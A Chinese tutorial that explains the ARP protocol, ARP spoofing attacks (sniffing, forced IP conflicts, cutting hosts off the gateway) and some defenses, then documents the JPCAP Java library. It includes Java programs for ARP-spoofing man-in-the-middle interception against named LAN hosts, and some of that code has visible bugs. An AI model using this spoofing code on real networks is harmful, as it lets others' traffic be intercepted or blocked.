ARP协议分析 :
ARP（Address Resolution Protocol）地址解析协议用于将计算机的网络地址（IP地址32位）转化为物理地址（MAC地址48位） [RFC 826]。ARP协议是属于链路层的协议，在以太网中的数据帧从一个主机到达网内的另一台主机是根据48位的以太网地址（硬件地址）来确定接口的，而不是根据32位的IP地址。内核（如驱动）必须知道目的端的硬件地址才能发送数据。当然，点对点的连接是不需要ARP协议的。
ARP协议的数据结构：
typedef struct arphdr
{
unsigned short arp_hrd; /* 硬件类型 */
unsigned short arp_pro; /* 协议类型 */
unsigned char arp_hln; /* 硬件地址长度 */
unsigned char arp_pln; /* 协议地址长度 */
unsigned short arp_op; /* ARP操作类型 */
unsigned char arp_sha[6]; /* 发送者的硬件地址 */
unsigned long arp_spa; /* 发送者的协议地址 */
unsigned char arp_tha[6]; /* 目标的硬件地址 */
unsigned long arp_tpa; /* 目标的协议地址 */
}ARPHDR, *PARPHDR;
为了解释ARP协议的作用，就必须理解数据在网络上的传输过程。这里举一个简单的PING例子。
假设我们的计算机IP地址是192.168.1.1，要执行这个命令：ping 192.168.1.2 。该命令会通过ICMP协议发送ICMP数据包。该过程需要经过下面的步骤：
1、应用程序构造数据包，该示例是产生ICMP包，被提交给内核（网络驱动程序）；
2、内核检查是否能够转化该IP地址为MAC地址，也就是在本地的ARP缓存中查看IP-MAC对应表；
3、如果存在该IP-MAC对应关系，那么跳到步骤9；如果不存在该IP-MAC对应关系，那么接续下面的步骤；
4、内核进行ARP广播，目的地的MAC地址是FF-FF-FF-FF-FF-FF，ARP命令类型为REQUEST（1），其中包含有自己的MAC地址；
5、当192.168.1.2主机接收到该ARP请求后，就发送一个ARP的REPLY（2）命令，其中包含自己的MAC地址；
6、本地获得192.168.1.2主机的IP-MAC地址对应关系，并保存到ARP缓存中；
7、内核将把IP转化为MAC地址，然后封装在以太网头结构中，再把数据发送出去；
使用arp -a 命令就可以查看本地的ARP缓存内容，所以，执行一个本地的PING命令后，ARP缓存就会存在一个目的IP的记录了。当然，如果你的数据包是发送到不同网段的目的地，那么就一定存在一条网关的IP-MAC地址对应的记录。
知道了ARP协议的作用，就能够很清楚地知道，数据包的向外传输很依靠ARP协议，当然，也就是依赖ARP缓存。要知道，ARP协议的所有操作都是内核自动完成的，同其他的应用程序没有任何关系。同时需要注意的是，ARP协议只使用于本网络。
ARP协议的利用和相关原理介绍。
一、交换网络的嗅探
ARP协议并不只在发送了ARP请求才接收ARP应答。当计算机接收到ARP应答数据包的时候，就会对本地的ARP缓存进行更新，将应答中的IP和MAC地址存储在ARP缓存中。因此，在上面的假设网络中，B向A发送一个自己伪造的ARP应答，而这个应答中的数据为发送方IP地址是192.168.10.3（C的IP地址），MAC地址是DD-DD-DD-DD-DD-DD（C的MAC地址本来应该是CC-CC-CC-CC-CC-CC，这里被伪造了）。当A接收到B伪造的ARP应答，就会更新本地的ARP缓存，将本地的IP-MAC对应表更换为接收到的数据格式，由于这一切都是A的系统内核自动完成的，A可不知道被伪造了。
ARP欺骗的主要用途就是进行在交换网络中的嗅探。有关交换网络的嗅探不是本文的讨论内容。
二、IP地址冲突
我们知道，如果网络中存在相同IP地址的主机的时候，就会报告出IP地址冲突的警告。这是怎么产生的呢？
比如某主机B规定IP地址为192.168.0.1，如果它处于开机状态，那么其他机器A更
改IP地址为192.168.0.1就会造成IP地址冲突。其原理就是：主机A在连接网络（或更改IP地址）的时候就会向网络发送ARP包广播自己的IP地址，也就是free arp。如果网络中存在相同IP地址的主机B，那么B就会通过ARP来reply该地址，当A接收到这个reply后，A就会跳出IP地址冲突的警告，当然B也会有警告。
因此用ARP欺骗可以来伪造这个ARP reply，从而使目标一直遭受IP地址冲突警告的困扰。
三、阻止目标的数据包通过网关
比如在一个局域网内通过网关上网，那么连接外部的计算机上的ARP缓存中就存在网关IP-MAC对应记录。如果，该记录被更改，那么该计算机向外发送的数据包总是发送到了错误的网关硬件地址上，这样，该计算机就不能够上网了。
这里也主要是通过ARP欺骗进行的。有两种办法达到这样的目的。
1、向目标发送伪造的ARP应答数据包，其中发送方的IP地址为网关的地址，而MAC地址则为一个伪造的地址。当目标接收到该ARP包，那么就更新自身的ARP缓存。如果该欺骗一直持续下去，那么目标的网关缓存一直是一个被伪造的错误记录。当然，如果有些了解的人查看ARP -a，就知道问题所在了。
2、这种方法非常狠，欺骗网关。向网关发送伪造的ARP应答数据包，其中发送方的IP地址为目标的IP地址，而MAC地址则为一个伪造的地址。这样，网关上的目标ARP记录就是一个错误的，网关发送给目标的数据报都是使用了错误的MAC地址。这种情况下，目标能够发送数据到网关，却不能接收到网关的任何数据。同时，目标自己查看ARP -a却看不出任何问题来。
四、通过ARP检测混杂模式节点
在混杂模式中，网卡进行包过滤不同于普通模式。本来在普通模式下，只有本地地址的数据包或者广播（多播等）才会被网卡提交给系统核心，否则的话，这些数据包就直接被网卡抛弃。现在，混合模式让所有经过的数据包都传递给系统核心，然后被sniffer等程序利用。
通过特殊设计的ARP请求可以用来在一定程度上检测处于混杂模式的节点，比如对网络中的每个节点都发送MAC地址为FF-FF-FF-FF-FF-FE的ARP请求。对于网卡来说这不是一个广播地址（FF-FF-FF-FF-FF-FF），所以处于普通模式的节点就会直接抛弃该数据包，但是多数操作系统核心都认为这是一个广播地址，如果有一般的sniffer程序存在，并设置网卡为混杂模式，那么系统核心就会作出应答，这样就可以判断这些节点是否存在嗅探器了。
可以查看，很多基于ARP的攻击都是通过ARP欺骗实现的。至于ARP欺骗的防范，还是尽可能使用静态的ARP。对于WIN，使用 arp -s 来进行静态ARP的设置。当然，如果能够完全使用静态的IP+MAC对应，就更好了，因为静态的ARP缓存只是相对的。
当然，可以有一些方法来实现ARP欺骗的检测。设置一个ARP的嗅探器，其中维护着一个本地网络的IP-MAC地址的静态对应表，查看所有经过的ARP数据，并检查其中的IP-MAC对应关系，如果捕获的IP-MAC对应关系和维护的静态对应关系对应不上，那么就表明是一个欺骗的ARP数据包了。
一个ARP数据包发送程序源代码和编译好的EXE程序可以参考ARPSender程序。注意：需要先安装WinPcap。
Java中的数据链路层控制：
众所周知，JAVA语言虽然在TCP/UDP传输方面给予了良好的定义，但对于网络层以下的控制，却是无能为力的。JPCAP扩展包弥补了这一点。
JPCAP实际上并非一个真正去实现对数据链路层的控制，而是一个中间件，JPCAP调用wincap/libpcap，而给JAVA语言提供一个公共的接口，从而实现了平台无关性。在官方网站上声明，JPCAP支持FreeBSD 3.x, Linux RedHat 6.1, Fedora Core 4, Solaris, and Microsoft Windows 2000/XP等系统。
二．JPCAP机制
JPCAP的整个结构大体上跟wincap/libpcap是很相像的，例如NetworkInterface类对应wincap的typedef struct _ADAPTERADAPTER，getDeviceList()对应pcap_findalldevs()等等。 JPCAP有16个类，下面就其中最重要的4个类做说明。
1．NetworkInterface
该类的每一个实例代表一个网络设备，一般就是网卡。这个类只有一些数据成员，除了继承自java.lang.Object的基本方法以外，没有定义其它方法。
| 数据成员 | |
| NetworkInterfaceAddress[] | |
| java.lang.String | datalink_description. 数据链路层的描述。描述所在的局域网是什么网。例如，以太网（Ethernet）、无线LAN网（wireless LAN）、令牌环网(token ring)等等。 |
| java.lang.String | datalink_name 该网络设备所对应数据链路层的名称。具体来说，例如Ethernet10M、100M、1000M等等。 |
| java.lang.String | description 网卡是XXXX牌子XXXX型号之类的描述。例如我的网卡描述：Realtek RTL8169/8110 Family Gigabit Ethernet NIC |
| boolean | Loopback 标志这个设备是否loopback设备。 |
| byte[] | mac_address 网卡的MAC地址，6个字节。 |
| java.lang.String | Name 这个设备的名称。例如我的网卡名称：\Device\NPF_{3CE5FDA5-E15D-4F87-B217-255BCB351CD5} |
| 数据成员 | |
| int | dropped_packets 抛弃的包的数目。 |
| protected int | ID 这个数据成员在官方文档中并没有做任何说明，查看JPCAP源代码可以发现这个ID实际上在其JNI的C代码部分传进来的，这类本身并没有做出定义，所以是供其内部使用的。实际上在对JpcapCator实例的使用中也没有办法调用此数据成员。 |
| protected staticboolean[] | instanciatedFlag 同样在官方文档中没有做任何说明，估计其为供内部使用。 |
| protected staticint | MAX_NUMBER_OF_INSTANCE 同样在官方文档中没有做任何说明，估计其为供内部使用。 |
| int | received_packets 收到的包的数目 |
| 方法成员 | |
| staticNetworkInterface[] | getDeviceList() 返回一个网络设备列表。 |
| staticJpcapCaptor | openDevice(NetworkInterface interface, intsnaplen, booleanpromisc, intto_ms) 创建一个与指定设备的连接并返回该连接。注意，以上两个方法都是静态方法。 Interface：要打开连接的设备的实例； Snaplen：这个是比较容易搞混的一个参数。其实这个参数不是限制只能捕捉多少数据包，而是限制每一次收到一个数据包，只提取该数据包中前多少字节； Promisc：设置是否混杂模式。处于混杂模式将接收所有数据包，若之后又调用了包过滤函数setFilter()将不起任何作用； To_ms：这个参数主要用于processPacket()方法，指定超时的时间； |
| void | Close() 关闭调用该方法的设备的连接，相对于openDivece()打开连接。 |
| JpcapSender | getJpcapSenderInstance() 该返回一个JpcapSender实例，JpcapSender类是专门用于控制设备的发送数据包的功能的类。 |
| Packet | getPacket() 捕捉并返回一个数据包。这是JpcapCaptor实例中四种捕捉包的方法之一。 |
| int | loopPacket(intcount, PacketReceiver handler) 捕捉指定数目的数据包，并交由实现了PacketReceiver接口的类的实例处理，并返回捕捉到的数据包数目。如果count参数设为－1，那么无限循环地捕捉数据。 这个方法不受超时的影响。还记得openDivice()中的to_ms参数么？那个参数对这个方法没有影响，如果没有捕捉到指定数目数据包，那么这个方法将一直阻塞等待。 PacketReceiver中只有一个抽象方法void receive(Packet p)。 |
| int | processPacket(intcount, PacketReceiver handler) 跟loopPacket()功能一样，唯一的区别是这个方法受超时的影响，超过指定时间自动返回捕捉到数据包的数目。 |
| int | dispatchPacket(intcount, PacketReceiverhandler) 跟processPacket()功能一样，区别是这个方法可以处于“non-blocking”模式工作，在这种模式下dispatchPacket()可能立即返回，即使没有捕捉到任何数据包。 |
| void | setFilter(java.lang.Stringcondition, booleanoptimize) .condition：设定要提取的包的关键字。 Optimize：这个参数在说明文档以及源代码中都没有说明，只是说这个参数如果为真，那么过滤器将处于优化模式。 |
| void | setNonBlockingMode(booleannonblocking) 如果值为“true”，那么设定为“non-blocking”模式。 |
| void | breakLoop() 当调用processPacket()和loopPacket()后，再调用这个方法可以强制让processPacket()和loopPacket()停止。 |
| 方法成员 | |
| void | close() 强制关闭这个连接。 |
| staticJpcapSender | openRawSocket() 这个方法返回的JpcapSender实例发送数据包时将自动填写数据链路层头部分。 |
| void | sendPacket(Packet packet) JpcapSender最重要的功能，发送数据包。需要注意的是，如果调用这个方法的实例是由JpcapCaptor的getJpcapSenderInstance()得到的话，需要自己设定数据链路层的头，而如果是由上面的openRawSocket()得到的话，那么无需也不能设置，数据链路层的头部将由系统自动生成。 |
| Ethernet头部 | ARP数据部分 | |||||||||
| 6 | 6 | 2 | 2 | 2 | 2 | 2 | 4 | 6 | 4 | 6 |
| 目标MAC地址 | 源地MAC地址 | 类型号0x0800:ip 0x0806:ARP | 局域网类型 以太网0x0001 | 网络协议类型 IP网络0x0800 | MAC/IP地址长度，恒为0x06/04 | ARP包类型 REPLY 0x0002 | ARP目标IP地址 | ARP目标MAC 地址 | ARP源IP地址 | ARP源MAC地址 |
| public class changeARP{ private NetworkInterface[] devices; //设备列表 private NetworkInterface device; //要使用的设备 private JpcapCaptor jpcap; //与设备的连接 private JpcapSender sender; //用于发送的实例 private byte[] targetMAC, gateMAC; //B的MAC地址，网关的MAC地址 private byte[] String targetIp, String gateIp; //B的IP地址，网关的IP地址 /** *初始化设备 * JpcapCaptor.getDeviceList()得到设备可能会有两个，其中一个必定是“Generic *dialup adapter”，这是windows系统的虚拟网卡，并非真正的硬件设备。 *注意：在这里有一个小小的BUG，如果JpcapCaptor.getDeviceList()之前有类似JFrame jf=new *JFame（）这类的语句会影响得到设备个数，只会得到真正的硬件设备，而不会出现虚拟网卡。 *虚拟网卡只有MAC地址而没有IP地址，而且如果出现虚拟网卡，那么实际网卡的MAC将分 *配给虚拟网卡，也就是说在程序中调用device. mac_address时得到的是00 00 00 00 00 00。 */ private NetworkInterface getDevice() throws IOException { devices = JpcapCaptor.getDeviceList(); //获得设备列表 device = devices[0];//只有一个设备 jpcap = JpcapCaptor.openDevice(device, 2000, false, 10000); //打开与设备的连接 jpcap.setFilter(“ip”,true); //只监听B的IP数据包 sender = captor.getJpcapSenderInstance(); } /** *修改B和网关的ARP表。因为网关会定时发数据包刷新自己和B的缓存表，所以必须每隔一 *段时间就发一次包重新更改B和网关的ARP表。 *@参数 targetMAC B的MAC地址，可通过ARP解析得到； *@参数 targetIp B的IP地址； *@参数 gateMAC 网关的MAC地址； */ public changeARP(byte[] targetMAC, String targetIp,byte[] gateMAC, String gateIp) throws UnknownHostException,InterruptedException { this. targetMAC = targetMAC; this. targetIp = targetIp; this. gateMAC = gateMAC; this. gateIp = gateIp; getDevice(); arpTarget = new ARPPacket(); //修改B的ARP表的ARP包 arpTarget.hardtype = ARPPacket.HARDTYPE_ETHER; //选择以太网类型(Ethernet) arpTarget.prototype = ARPPacket.PROTOTYPE_IP; //选择IP网络协议类型 arpTarget.operation = ARPPacket.ARP_REPLY; //选择REPLY类型 arpTarget.hlen = 6; //MAC地址长度固定6个字节 arpTarget.plen = 4; //IP地址长度固定4个字节 arpTarget.sender_hardaddr = device.mac_address; //A的MAC地址 arpTarget.sender_protoaddr = InetAddress.getByName(gateIp).getAddress(); //网关IP arpTarget.target_hardaddr = targetMAC; //B的MAC地址 arpTarget.target_protoaddr = InetAddress.getByName(targetIp).getAddress(); //B的IP EthernetPacket ethToTarget = new EthernetPacket(); //创建一个以太网头 ethToTarget.frametype = EthernetPacket.ETHERTYPE_ARP;//选择以太包类型 ethToTarget.src_mac = device.mac_address; //A的MAC地址 ethToTarget.dst_mac = targetMAC; //B的MAC地址 arpTarget.datalink = ethToTarget; //将以太头添加到ARP包前 arpGate = new ARPPacket(); //修改网关ARP表的包 arpGate.hardtype = ARPPacket.HARDTYPE_ETHER; //跟以上相似，不再重复注析 arpGate.prototype = ARPPacket.PROTOTYPE_IP; arpGate.operation = ARPPacket.ARP_REPLY; arpGate.hlen = 6; arpGate.plen = 4; arpGate.sender_hardaddr = device.mac_address; arpGate.sender_protoaddr = InetAddress.getByName(targetIp).getAddress(); arpGate.target_hardaddr = gateMAC; arpGate.target_protoaddr = InetAddress.getByName(gateIp).getAddress(); EthernetPacket ethToGate = new EthernetPacket(); ethToGate.frametype = EthernetPacket.ETHERTYPE_ARP; ethToGate.src_mac = device.mac_address; ethToGate.dst_mac = gateMAC; arpGate.datalink = ethToGate; thread=new Thread(new Runnable(){ //创建一个进程控制发包速度 public void run() { while (true) { sender.sendPacket(arpTarget); sender.sendPacket(arpGate); Thread.sleep(500); }).start(); recP(); //接收数据包并转发 } /** *修改包的以太头，转发数据包 *参数 packet 收到的数据包 *参数 changeMAC 要转发出去的目标 */ private void send(Packet packet, byte[] changeMAC) { EthernetPacket eth; if (packet.datalink instanceof EthernetPacket) { eth = (EthernetPacket) packet.datalink; for (int i = 0; i < 6; i++) { eth.dst_mac[i] = changeMAC[i]; //修改包以太头，改变包的目标 eth.src_mac[i] = device.mac_address[i]; //源发送者为A } sender.sendPacket(packet); } } /** *打印接受到的数据包并转发 */ public void recP(){ IPPacket ipPacket = null; while(true){ ipPacket = （IPPacket）jpcap.getPacket(); System.out.println(ipPacket); if (ipPacket.src_ip.getHostAddress().equals(targetIp)) send(packet, gateMAC); else send(packet, targetMAC); } } |
注意：这个例子只是为了说明问题，并没有考虑到程序的健壮性，所以并不一定能在任何一台机器任何一个系统上运行。 2．用JPCAP实现监听
************************************************************************************************************
先说明一下这个小程序吧。这个程序的目的是在局域网上针对一台主机（假设其IP地址为192.168.10.254）进行ARP欺骗，以便监听到这台主机发送出去的数据包，这个程序并没有监听到外部发往被监听主机的数据（由于我只关心他发出去的数据，所以没有监听其他的数据，不过要监听外部发往这个主机的数据，原理是一样的）。另外，局域网的网关IP地址是：192.168.10.1。为了不让目标主机（就暂命名为主机B吧）发现我们在监听，我们得把实行监听任务的主机（就叫主机A吧，IP地址为：192.168.10.100）的IP路由功能打开，这样，主机B才可以正常上网，如果没有打开主机A的IP路由功能，主机B是上不了网的。
程序写得有点乱，只是测试用。将就一点了：）
import jpcap.packet.*;
import jpcap.JpcapCaptor;
import jpcap.JpcapSender;
import jpcap.NetworkInterface;
import java.net.*;
import java.util.Arrays;
import java.io.*;
public class ModifyARP {
static NetworkInterface[] devices = JpcapCaptor.getDeviceList(); //得到主机A的网络设备列表
/*
* 获取局域网内的某个主机的MAC地址，方法：发一个ARP请求，从ARP回复中得到MAC地址
*/
static byte[] getOtherMAC(String ip) throws IOException{
JpcapCaptor jc = JpcapCaptor.openDevice(devices[1],2000,false,3000);
JpcapSender sender = jc.getJpcapSenderInstance();
InetAddress senderIP = InetAddress.getByName("192.168.10.100"); //主机A的IP地址
InetAddress targetIP = InetAddress.getByName(ip); //目标主机的IP地址
byte[] broadcast=new byte[]{(byte)255,(byte)255,(byte)255,(byte)255,(byte)255,(byte)255}; //广播地址
ARPPacket arp=new ARPPacket(); //开始构造一个ARP包
arp.hardtype=ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REQUEST; //指明是ARP请求包
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=devices[0].mac_address; //ARP包的发送端以太网地址
arp.sender_protoaddr=senderIP.getAddress(); //发送端IP地址
arp.target_hardaddr=broadcast; //目的端以太网地址
arp.target_protoaddr=targetIP.getAddress(); //目的端IP地址
EthernetPacket ether=new EthernetPacket(); //构造以太网首部
ether.frametype=EthernetPacket.ETHERTYPE_ARP; //帧类型
ether.src_mac=devices[0].mac_address; //以太网源地址
ether.dst_mac=broadcast; //以太网目的地址
arp.datalink=ether;
sender.sendPacket(arp);
while(true){ //获取ARP回复包，从中提取出目的主机的MAC地址
ARPPacket p=(ARPPacket)jc.getPacket();
if(p==null){
throw new IllegalArgumentException(targetIP+" is not a local address");
}
if(Arrays.equals(p.target_protoaddr,senderIP.getAddress())){
return p.sender_hardaddr;
}
}
}
public static void main(String[] args) throws IOException {
JpcapCaptor captor = JpcapCaptor.openDevice(devices[1],2000,false,3000);
captor.setFilter("arp",true);
JpcapSender sender = captor.getJpcapSenderInstance();
ARPPacket arp=new ARPPacket(); //构造ARP欺骗用的数据包，实质上就是一个ARP回复包
arp.hardtype = ARPPacket.HARDTYPE_ETHER;
arp.prototype=ARPPacket.PROTOTYPE_IP;
arp.operation=ARPPacket.ARP_REPLY; //指明是ARP回复包
arp.hlen=6;
arp.plen=4;
arp.sender_hardaddr=devices[0].mac_address;
arp.sender_protoaddr=InetAddress.getByName("192.168.10.1").getAddress();
arp.target_hardaddr=getOtherMAC("192.168.10.254");
arp.target_protoaddr=InetAddress.getByName("192.168.10.254").getAddress();
EthernetPacket ether=new EthernetPacket();
ether.frametype=EthernetPacket.ETHERTYPE_ARP;
ether.src_mac=getOtherMAC("192.168.10.1");
ether.dst_mac=getOtherMAC("192.168.10.254");
arp.datalink=ether;
sender.sendPacket(arp);
}
}
这个程序中的main()方法和getOtherMAC()方法其实大部分都是一样的，只不过main()方法构造的是一个ARP的响应回复包，用于ARP欺骗，而getOtherMAC()方法构造的是一个ARP请求包，用于获得指定主机的MAC地址。只要设置好传入参数，这两个方法完全可以合成一个方法。
不管是构造ARP请求包还是回复包，其实质都是按照ARP协议的结构往ARP包中添加适当的数据，所以在看这个程序前，你应当对ARP协议有了解，而且对ARP协议的结构已经熟悉了。
这个程序只是监听了一台主机的通讯，如果要同时监听某个网段内的所有活动主机的通讯，也许还有其他的东西没有掌握好，继续了。。。
********************************************************************************
昨天做的事说起来比较简单，就是在电脑上配置好JPCAP，并写一个测试用的程序，目的是检查JPCAP是否能正常工作，再有就是看看能不能把局域网里其他电脑上的数据包截取下来。测试程序如下：
import jpcap.*;
import jpcap.packet.*;
import java.io.*;
public class JpcapTest implements PacketReceiver{
public void receivePacket(Packet p){
System.out.println("***********分析数据包*******************");
//System.out.println(p.toString());
System.out.println("长度:\t"+p.caplen);
System.out.println("数据头：\t");
for(int i=0;i<p.header.length;i++){
System.out.print(Byte.toString(p.header[i]));
}
System.out.println();
System.out.println("IP包属性:");
System.out.println("源IP:\t"+ ((IPPacket)p).src_ip.toString() );
System.out.println("目标IP：\t"+ ((IPPacket)p).dst_ip.toString() );
System.out.println("***********分析数据包*******************");
}
public static void main(String[] args) throws IOException{
NetworkInterface[] devices = jpcap.JpcapCaptor.getDeviceList();
for(int i=0;i<devices.length;i++){
System.out.println("DEVICES "+i+":");
System.out.println("name:\t"+devices[i].name);
System.out.println("description:\t"+devices[i].description);
System.out.println("datalink_name:\t"+devices[i].datalink_name);
System.out.println("datalink_description:\t"+devices[i].datalink_description);
System.out.println("mac_address:\t");
for(int j=0;j<devices[i].mac_address.length;j++){
System.out.print(Integer.toHexString(devices[i].mac_address[j]&0xff) + ":");
}
System.out.println();
System.out.println("NetworkInterfaceAddress:\t");
for(int j=0;j<devices[i].addresses.length;j++){
System.out.println("address:\t"+devices[i].addresses[j].address);
System.out.println("broadcast:\t"+devices[i].addresses[j].broadcast);
System.out.println("destination:\t"+devices[i].addresses[j].destination);
System.out.println("subnet:\t"+devices[i].addresses[j].subnet);
}
}
System.out.println("***********************************");
JpcapCaptor cap = jpcap.JpcapCaptor.openDevice(devices[1],1028,true,10000);
cap.loopPacket(-1,new JpcapTest());
}
}
配置JPCAP是比较简单的工作，所以这个程序也就可以正常工作了。配置方法在JPCAP的官网上有：http://netresearch.ics.uci.edu/kfujii/jpcap/doc/index.html。 这段代码只能监听到本机上的数据包
评论